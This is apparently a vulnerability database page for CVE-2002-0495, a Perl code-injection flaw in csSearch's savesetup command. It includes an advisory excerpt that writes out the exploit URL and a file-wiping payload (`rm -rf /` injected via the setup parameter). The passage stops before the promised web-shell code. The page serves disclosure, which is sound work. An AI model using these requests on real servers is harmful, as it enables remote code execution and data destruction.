CVE-2002-0495
Alert for a CVE
Stay informed of any changes for a specific CVE.
Descriptions
csSearch.cgi in csSearch 2.3 and earlier allows remote attackers to execute arbitrary Perl code via the savesetup command and the setup parameter, which overwrites the setup.cgi configuration file that is loaded by csSearch.cgi.

Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.
csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.
For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:
http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE
Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.
csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE
For example, the classic "rm -rf /" example would be
as follows:
csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`
Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.
